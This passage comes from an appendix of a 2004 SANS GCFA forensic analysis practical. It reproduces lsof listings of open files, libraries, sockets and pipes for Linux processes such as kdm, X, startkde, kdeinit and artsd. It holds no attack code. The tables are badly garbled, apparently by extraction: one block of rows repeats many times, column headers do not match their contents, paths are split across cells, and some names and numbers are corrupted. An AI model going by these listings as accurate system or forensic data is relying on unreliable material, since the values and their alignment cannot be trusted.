<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>mingetty 1055</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>mingetty 1055</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>mingetty 1055</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>3,5</td>
<td>14136</td>
</tr>
<tr>
<td>mingetty 1055</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>mingetty 1055</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>kdm 1056</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>kdm 1056</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>kdm 1056</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>14136</td>
</tr>
<tr>
<td>kdm 1056</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>kdm 1056</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>3,5</td>
<td>14136</td>
</tr>
<tr>
<td>kdm 1056</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>kdm 1056</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>1602576</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>CHR</td>
<td>1,1</td>
<td>8215</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12015</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12015</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12015</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12015</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12015</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12015</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12015</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12015</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>X 1066</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

Page 113

kdm 1067 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
kdm 1067 root mem REG 3,5 12471 43053 /lib/security/pam_stack.so
kdm 1067 root mem REG 3,5 6387 43046 /lib/security/pam_nologin.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 11174 63541 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 43031 /lib/security/pam_console.so
kdm 1067 root mem REG 3,5 182363 65275 /usr/lib/libglib-1.2.so.0.0.10
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 50425 43057 /lib/security/pam_unix.so
kdm 1067 root mem REG 3,5 14540 43032 /lib/security/pam_cracklib.so
kdm 1067 root mem REG 3,2 71016 65265 /usr/lib/libcrack.so.2.7
kdm 1067 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
kdm 1067 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
kdm 1067 root mem REG 3,5 14617 43040 /lib/security/pam_limits.so
kdm 1067 root mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
kdm 1067 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kdm 1067 root mem REG 1,3 9637 /dev/null
kdm 1067 root mem REG 1,3 9637 /dev/null
kdm 1067 root mem REG 1,3 9637 /dev/null
kdm 1067 root 0r CHR 1,3 9637 /dev/null
kdm 1067 root 1w CHR 1,3 9637 /dev/null
kdm 1067 root 2w CHR 1,3 9637 /dev/null
kdm 1067 root 3u unix 0xc5d0e0a0 1794 socket
kdm 1067 root 8w FIFO 0,5 1792 pipe

startkde 1091 userid1 cwd DIR 3,3 4096 32321 /home/userid1
startkde 1091 userid1 rtd DIR 3,5 1024 2 /
startkde 1091 userid1 txt REG 3,5 541096 40973 /bin/bash
startkde 1091 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
startkde 1091 userid1 mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
startkde 1091 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
startkde 1091 userid1 mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
startkde 1091 userid1 mem REG 3,2 1453 130311 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
startkde 1091 userid1 mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
startkde 1091 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
startkde 1091 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
startkde 1091 userid1 mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
startkde 1091 userid1 mem REG 3,2 11832 63560 /lib/libtermcap.so.2.0.8
startkde 1091 userid1 mem REG 3,2 1401027 73730 /lib/i686/libc-2.2.5.so
startkde 1091 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
startkde 1091 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_TYPE
startkde 1091 userid1 mem REG 3,2 1401027 73730 /lib/i686/libc-2.2.5.so
startkde 1091 userid1 0r CHR 1,3 9637 /dev/null
startkde 1091 userid1 1w CHR 1,3 9637 /dev/null
startkde 1091 userid1 2w CHR 1,3 9637 /dev/null
startkde 1091 userid1 3u unix 0xc5d0e0a0 1794 socket
startkde 1091 userid1 8w FIFO 0,5 1792 pipe

kdeinit 1175 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 1175 userid1 rtd DIR 3,5 1024 2 /
kdeinit 1175 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 1175 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdeinit 1175 userid1 mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 294341 65748 /usr/lib/libkparts-gcc2.96.so.2.0.0
kdeinit 1175 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 2530952 65712 /usr/lib/libkdeui-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 168176 65682 /usr/lib/libkdefx-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 17328 17011 /usr/X11R6/lib/libXrender.so.1.1
kdeinit 1175 userid1 mem REG 3,2 133032 65706 /usr/lib/libkdesu-gcc2.96.so.4.0.0
<table>
<thead>
<tr>
<th>Process</th>
<th>User ID</th>
<th>Mode</th>
<th>Time</th>
<th>Address</th>
<th>Size</th>
<th>Path</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>282587</td>
<td>/usr/lib/libmedia2.idl-</td>
<td></td>
</tr>
<tr>
<td>gcc2.96.so.1.0.0</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1048932</td>
<td>/usr/lib/libartsfslow-</td>
<td></td>
</tr>
<tr>
<td>gcc2.96.so.1.0.0</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>563716</td>
<td>/usr/lib/libartsfslow.idl-</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>160333</td>
<td>/usr/lib/libaudiodfile.so.0.0.0.2</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>23595</td>
<td>/usr/lib/libmcop_mt-</td>
<td></td>
</tr>
<tr>
<td>gcc2.96.so.1.0.0</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1007546</td>
<td>/usr/lib/libmcop-gcc2.96.so.1.0.0</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
<td>/lib/libresolv-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
<td>/lib/libdl-2.2.2.so</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>101902</td>
<td>/lib/i686/libpthread-0.9.so</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426442</td>
<td>/usr/lib/libstdc++-3.3.5.9</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17328</td>
<td>/usr/X11R6/lib/libXrender.so.1.1</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17011</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>133032</td>
<td>/usr/lib/libkdesu-</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17328</td>
<td>/usr/X11R6/lib/libXrender.so.1.1</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>168176</td>
<td>/usr/lib/libSM.so.6.0</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>110194</td>
<td>/usr/lib/libcups.so.2</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
<td>/lib/i686/libm.so.2.10.0.so</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>2457</td>
<td>/tmp/mcop</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>130317</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>3152</td>
<td>/usr/lib/libmng.so.1.0.0</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>/usr/lib/libXft.so.1.1</td>
<td></td>
</tr>
<tr>
<td>artsd</td>
<td>1192</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>371</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4 Page 118
kdeinit 1203 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1203 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 381888 65598 /usr/lib/libnss_files-2.2.5.so
kdeinit 1203 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kdeinit 1203 userid1 0r CHR 1,3 9637 /dev/null
kdeinit 1203 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdeinit 1203 userid1 3u unix 0xc2c57060 2266 socket
kdeinit 1203 userid1 4u unix 0xc2c57560 2252 socket
kdeinit 1203 userid1 5r FIFO 0,5 2259 pipe
kdeinit 1203 userid1 6w FIFO 0,5 2259 pipe
kdeinit 1203 userid1 7r FIFO 0,5 2260 pipe
kdeinit 1203 userid1 8w FIFO 0,5 2260 pipe
kdeinit 1203 userid1 9r FIFO 0,5 2262 pipe
kdeinit 1203 userid1 10w FIFO 0,5 2262 pipe
kdeinit 1203 userid1 11r FIFO 0,5 2265 socket
kdeinit 1203 userid1 12w FIFO 0,5 2265 pipe
kdeinit 1203 userid1 13u unix 0xc21bd5e0 2310 socket
kwrapper 1208 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kwrapper 1208 userid1 rtd DIR 3,5 1024 2 /
kwrapper 1208 userid1 txt REG 3,2 9088 33376 /usr/bin/kwrapper
kwrapper 1208 userid1 mem REG 3,5 89547 63490 /lib/id-2.2.5.so
kwrapper 1208 userid1 mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kwrapper 1208 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kwrapper 1208 userid1 0r CHR 1,3 9637 /dev/null
kwrapper 1208 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapper 1208 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapper 1208 userid1 3u unix 0xc2c57060 2266 socket
kwrapper 1208 userid1 4u unix 0xc2c57560 2252 socket
kwrapper 1208 userid1 5r FIFO 0,5 2259 pipe
kwrapper 1208 userid1 6w FIFO 0,5 2259 pipe
kwrapper 1208 userid1 7r FIFO 0,5 2260 pipe
kwrapper 1208 userid1 8w FIFO 0,5 2260 pipe
kwrapper 1208 userid1 9r FIFO 0,5 2262 pipe
kwrapper 1208 userid1 10w FIFO 0,5 2262 pipe
kwrapper 1208 userid1 11r FIFO 0,5 2265 socket
kwrapper 1208 userid1 12w FIFO 0,5 2265 pipe
kwrapper 1208 userid1 13u unix 0xc21bd5e0 2310 socket

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Process Name</th>
<th>Userid</th>
<th>Mem</th>
<th>Flags</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>9u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libICE.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>10u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>11u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libSM.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>12u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libICE.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>13u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>14u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libSM.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>15u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libICE.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>16u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>17u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libSM.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>18u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libICE.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>19u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1210</td>
<td>20u</td>
<td>unix</td>
<td>/usr/X11R6/lib/libSM.so.6.0</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>Size</th>
<th>Flags</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3,2</td>
<td>REG</td>
<td>488575</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>130394</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>136415</td>
<td>16964</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>6996</td>
<td>114215</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>69421</td>
<td>294654</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>101902</td>
<td>73734</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>12102</td>
<td>65303</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1962973</td>
<td>65672</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>294341</td>
<td>65976</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TLENDE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65398</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>16930</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1962973</td>
<td>65672</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65398</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>294341</td>
<td>65976</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65398</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TLENDE</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65398</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, as part of GIAC practical repository. Author retains full rights.
kdeinit 1217 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1217 userid1 mem REG 3,2 932895 65934 /usr/lib/kicker-gcc2.96.so
kdeinit 1217 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1217 userid1 mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_PAPER
kdeinit 1217 userid1 mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1217 userid1 mem REG 3,2 60 130322
/usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1217 userid1 mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1217 userid1 mem REG 3,2 10902 16965
